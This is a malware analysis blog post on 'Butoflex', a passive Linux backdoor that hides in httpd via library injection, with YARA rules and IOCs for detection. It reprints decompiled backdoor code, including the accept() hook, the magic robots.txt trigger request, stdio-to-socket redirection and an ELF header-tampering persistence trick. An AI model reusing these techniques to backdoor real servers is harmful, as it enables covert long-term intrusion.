Butoflex a passive linux backdoor for targeted spying

During a joint incident response with Login Sécurité on an APT attack, we faced an attacker that was especially good at hiding their traces on compromised systems, making our investigation a bit more difficult than usual.

To alleviate any risk of us missing something, we decided to perform a Threat Hunting on all computers to identify any potential traces linking to this specific APT and to check if another attacker was present.

While doing that, we stumbled upon a server infected by an unknown passive backdoor more than 10 years ago! This backdoor was already active and was probably not related to our incident response. Yet, we thought it was worth a blog post because, as you will see, this malware have an uncommon persistence setup.

TL;DR: A backdoor was placed in our case in a running HTTPD, using a library injection. It hooks the accept call to look for a specific incoming HTTP request and grab a decryption key from it. From there it writes this key in a shared memory segment and spawns a process that executes the second stage that uses this decryption key to decrypt itself. Sadly, we weren’t able to analyze this second stage.

Interestingly enough, this library can also be used as an executable to install itself by altering the imports of a library and copying itself. This way it stays resilient after an update.

And also, 10 years is quite a performance, don’t forget that an attacker can stay hidden in an IT system for a long time ;)

Overview

In today’s threat landscape, persistence and stealth are the hallmarks of advanced adversaries. During a recent APT incident response with Login Sécurité, we uncovered a highly evasive Linux backdoor, Butoflex, which had remained undetected for over a decade on a compromised server. This passive backdoor exemplifies the risks of long-term, low-noise infiltration, where attackers prioritize operational security (OpSec) over immediate exploitation, leaving organizations vulnerable to targeted espionage without triggering traditional defenses. Linux systems are now prime targets for stealthy attackers. Their heterogeneous nature (diverse distros, custom binaries) makes integrity checks difficult to perform, assume there are compromise and do hunt proactively ;)

Summary of Capabilities

We provide with this article two YARA rules and a network pattern in the IOC section to help you to hunt this malware 😘. Butoflex is a stark reminder that the most dangerous threats are the ones you don’t see. In an era where adversaries play the long game, cybersecurity leadership must shift from reactive defense to proactive hunting, because the next breach might already be inside your walls, waiting silently for the right moment to strike.

Butoflex technical analysis

One of the key characteristic of this malware is that it can be used both as a library that overrides well known APIs and also as an executable. Used in combination, those two modes of operation grants this malware unique persistence and stealth capabilities.

Library injection

The following section describes how the malware interacts with an infected binary, how it is triggered by the attacker and what it does when it is triggered.

Strings decryption

The library encrypts some of its critical data to keep looking legitimate to security scanners and avoid detection. This malware decrypts its strings using a list of decryption functions. This technique is rare because it forces the attacker to develop and encrypt strings with multiple algorithms. Yet, only one function is implemented, with 2 decryption loops inside, while the code clearly supports many.

decrypting loops

The decrypted strings look like the following:

/usr/sbin/abd
HISTFILE=/dev/null
MYSQL_HISTFILE=/dev/null
LESSHISTFILE=/dev/null
../../../../../../../../../
/proc/self/fd
/proc/self/exe
udevd
GET /robots.txt HTTP/1.0\r\ncookie: aa=962;\r\ncache-control: no\r\n\r\n

Network interception

On the compromised server, we found a modified httpd binary that imports a suspicious library m.so.6 before importing anything else. Please note that the name m.so.6 can vary based on legitimate imports of the original binary, this is part of the persistence mechanism we’re going to describe later. Interestingly, it forces the binary to imports this suspicious library first, to make sure its exported APIs override the ones provided by the system libraries. That’s how the dynamic linker (ld.so) works on Linux, it will use the API exported by the first library it encounters in the binary import list.

The library exports look like following:

And this is where things start to look very interesting. Here we can see that our malware exports the accept function. Overriding could allow the malware to hijack all inbound connections to the server. Let’s have a closer look at it.

int accept(int __fd,sockaddr *__addr,socklen_t *__addr_len)

{
  int res2;
  long res1;

  if (real_accept == (code *)0x0) {
    dlerror();
    real_accept = (code *)dlsym(RTLD_NEXT,"accept");
    res1 = dlerror();
    if (res1 != 0) {
      return -1;
    }
  }
  res2 = (*real_accept)(__fd,__addr,__addr_len);
  if (res2 < 0) {
    return res2;
  }
  res2 = check_backdoor_activation(res2);
  return res2;
}

After accepting the client connection the malware peeks the first 0x40 bytes to check for a specific HTTP request (GET /robots.txt HTTP/1.0\r\ncookie: aa=962;\r\ncache-control: no\r\n\r\n, as we saw in the decrypted strings).

If the received request isn’t the one it expects, then it returns and does nothing. However, when this request is received, it proceeds to read the next 0x20 bytes and stores them in a shared memory segment (shm) with the key 0x62ab1891.

Then, it spawns a new process executing the binary /usr/sbin/abd with MYSQL_HISTFILE, LESSHISTFILE and HISTFILE redirected to /dev/null. That abd binary looks very suspicious!

The following listing shows the described behavior:

rcv_size = recv(sock_fd,l_buffer,0x40,0x4002);
result = (int)rcv_size == 0x40;
if (result) {
  buffer_len = 0x40;
  lc_buffer = l_buffer;
  trust_header = &s_get_robot_txt;
  do {
    if (buffer_len == 0) break;
    buffer_len = buffer_len + -1;
    result = *lc_buffer == *trust_header;
    lc_buffer = lc_buffer + 1;
    trust_header = trust_header + 1;
  } while (result);
  if (result) {
    fork_result = fork();
    if (fork_result == 0) {
      recv(sock_fd,l_buffer,0x40,0);
      rcv_size2 = recv(sock_fd,l_buffer,0x20,0);
      iVar2 = getpagesize();
      __size = (ulong)iVar2;
      if (((rcv_size2 & 0xffff) <= __size) &&
         (((iVar2 = shmget(0x62ab1891,__size,0x780), iVar2 != -1 ||
[...]
      setsid();
      execve(&s_usr_sbin_abd,&local_78,&local_98);

ABD and decryption

This binary is pretty singular, it doesn’t import anything from the system and forges its system calls directly via the interrupt 0x80 (yes, it’s old). Using those “direct” system calls it reads back the decryption key from the shared memory segment at key 0x62ab1891 and then proceeds to decrypt its data using RC4 decryption. Then it finally loads a whole new ELF binary.

We can sum up the activity of the passive backdoor with the following diagram:

decryption workflow

The attacker never triggered the backdoor during our analysis, which suggests opsec discipline or dormancy, so we never got the decryption key (and final payload) of that abd binary :(

Using the malware as a standalone executable

That weird m.so.6 isn’t just a library, it’s also an executable, who can be invoked with arguments. When executed, it infects a given binary passed as first argument.

But before doing anything, it actually duplicates its command line arguments in memory and wipes the original values with null bytes, this is a rare process tampering to evade forensic investigations.

Command line arguments wiped

The first argument is the path to the binary to infect. First of all it saves its inode number and waits for a change on this inode:

do {
  status = nanosleep(&half_second,(timespec *)0x0);
  if ((status == -1) || (i = i + 1, i == 0x7a)) goto end;
  status = __xstat(1,argv_1,&stat_infos);
} while ((status == -1) || (l_inode_number == stat_infos.st_ino));

Maximum wait is 61 seconds, with a check each 0.5sc. We think this process is done to identify an update of the binary and infect it when it happens.

When the binary is updated (the filesystem inode changes), the malware proceeds to parse the ELF header and look into the segment PT_DYNAMIC to find a DT_DEBUG object and a DT_NEEDED. The first is for debugging information and the second is the library name of the very first lib loaded.

  if (current_Phdr != (Elf64_Phdr *)0x0) {
    current_shnum = (uint)(current_Phdr->p_filesz >> 4);
    if (current_shnum != 0) {
      Current_dyn_data =
           (Elf64_Dyn *)(loaded_proc->e_ident_magic_str + (current_Phdr->p_offset - 1));
      Dyn_debug = Current_dyn_data;
      if (Current_dyn_data->d_tag != DT_DEBUG) {
        c_shnum = 0;
        do {
          c_shnum = c_shnum + 1;
          if (current_shnum <= c_shnum) goto sync_end;
          Dyn_debug = Dyn_debug + 1;
        } while (Dyn_debug->d_tag != DT_DEBUG);
      }
      if (Dyn_debug != (Elf64_Dyn *)0x0) {
        c_shnum = 0;
        do {
          if (Current_dyn_data->d_tag == DT_NEEDED) {
            if ((Current_dyn_data != (Elf64_Dyn *)0x0) &&
               (lib_name = loaded_proc->e_ident_magic_str +
                           *(long *)(current_sh + 0x18) + Current_dyn_data->d_val + 2,
               argv_2 != (char *)0x0)) {

Once the first DT_DEBUG and DT_NEEDED sections are found, the malware checks if the lib_name (+3 chars) is the same than the second argument, if not it creates a new file containing the data of the second argument. Finally the malware perform an elegant tampering of the header, as the following code snippet shows:

Dyn_debug->d_tag = Current_dyn_data->d_tag; // Copy the DT_NEEDED tag
set_dyn_name = Current_dyn_data->d_val;
Dyn_debug->d_val = set_dyn_name; // Copy them .SO name
Current_dyn_data->d_tag = DT_NEEDED; // Replace the DT_DEBUG with a DT_NEEDED
Current_dyn_data->d_val = set_dyn_name + 3; // Drop the 3 first chars of library name

As you can see the malware converts the first Dyn_debug (DT_DEBUG) tag into the type of Current_dyn_data (DT_NEEDED), and also copies its value. At the same time it modifies the first library name pointer by increasing it by 3 (it drops the 3 first letters). So what happens then? Let look at a the following screenshot to show the result (from the Malcat analysis tool):

ELF tampering

The first library name start 3 char after the original name, so libc.so becomes c.so and the DEBUG value is replaced with a NEEDED with the original library name. Concretely we now have 2 libraries instead of 1 and the first is the shortest name (c.so in our example). This edition is pretty nice because there is no string added to the executable, just 3 bytes edited and it produces a side loading! This was the method used to infect the HTTPD process previously presented.

Finally the malware tampers timestamps of the shortest library with the second argument times (again a forensics prevention).

process of httpd infection

Hunting other binaries

We have published multiple Yara rules for those samples. They are based on different parts of those executables, including cryptographic operations and specific malware patterns. Those rules allowed us to find other second stages on the awesome plateform VirusTotal.

55f2c0bfb9284b1b71da42f0b1c6905bad01450e952b4ac6bb0abf1d94e6791b is another 2nd stage submitted the 2021-04-21, all functions are same as our binary but they have been recompiled. Their ABI version are not the same and can be related with an internal version information, if then the sample of 2021 (24 value) is older than our (45 value).

Another guess is the nature of abd program, by the argument -i passed from the parent, the environment setup, and the duplication of I/O on the socket file descriptor:

dup2(sock_fd,0);
dup2(sock_fd,1);
dup2(sock_fd,2);

We think that this executable can be a simple bash specifically packed.

Our confidence is low on all those information, there are too much unknown to confirm those guess.

Previous works

This backdoor has some similarities with Cdorked presented by ESET in 2013, particularly the HTTPD infection and SHM usage. But several differences are present and it lets us think that those backdoors are not an evolution of each other.

Conclusion

This malware is pretty interesting, positioned on sensitive environments as a passive backdoor. Technically the attacker used an unknown TTP with the infection of the HTTPD binary, this tells us that the attacker is very capable and mature. The attacker is also able to supervise updates and infect a new binary, by only modifying just 3 bytes in an ELF header, which is also impressive.

This passive backdoor targets multiple occidental infrastructures and is still alive after more than 10 years. We advise to be careful here and run the provided YARA rules on your IT infrastructure.

Annexes

rule Butoflex_passive_backdoor_01 {
    meta:
        author = "ExaTrack - Heurs"
        date =   "2025-09-29"
        update =   "2025-09-29"
        description = "Butoflex passive http backdoor"
        score =   80
        tlp =  "CLEAR"
        source =  "ExaTrack"
        sample_hash = "2c005494e598158f1d03fd4ff61c998fcacb26bcd2c3766f73914212c825200a"
    strings:
        $strings_001 = { 25 64 00 2d 69 00 61 63 63 65 70 74 34 00 61 63 63 65 70 74 00 }
        $crypto_001  = { 89 c8 f7 e7 c1 ea ?? 89 d0 c1 e0 ?? 29 d0 89 ca 83 c1 01 29 c2 30 16 4? 83 c6 01 81 f9 2a 01 00 00 75 }
        $encrypt_001 = { c5 9e 9f 9f c1 9c }
        $shm_call_001 = { bf 91 18 ab 62 e8 }
    condition:
        uint32(0) == 0x464c457f and 1 of them
}

rule Butoflex_packer_01 {
    meta:
        author = "ExaTrack - Heurs"
        date =   "2025-09-29"
        update =   "2025-09-29"
        description = "Butoflex packed backdoor"
        score =   80
        tlp =  "CLEAR"
        source =  "ExaTrack"
        sample_hash = "7a93368cb2629c892a864164fdf780550fe0432a5942fc1c23eab7a353e72563"
    strings:
        $shm_call_001 = { 68 91 18 ab 62 e8 }
    condition:
        uint32(0) == 0x464c457f and 1 of them
}

IOC

SHA256 FileType Comment
2c005494e598158f1d03fd4ff61c998fcacb26bcd2c3766f73914212c825200a ELF executable Passive backdoor
7a93368cb2629c892a864164fdf780550fe0432a5942fc1c23eab7a353e72563 ELF executable Packed 2nd stage
55f2c0bfb9284b1b71da42f0b1c6905bad01450e952b4ac6bb0abf1d94e6791b ELF executable Packed 2nd stage

Network pattern to monitor:

GET /robots.txt HTTP/1.0\r\ncookie: aa=

FilePath:

/usr/sbin/abd

TTPs

Acknowledgments

Thanks to Login Sécurité for their collaboration. Special thanks to VirusTotal for its impressive dataset and Malcat for this great binary analysis tool.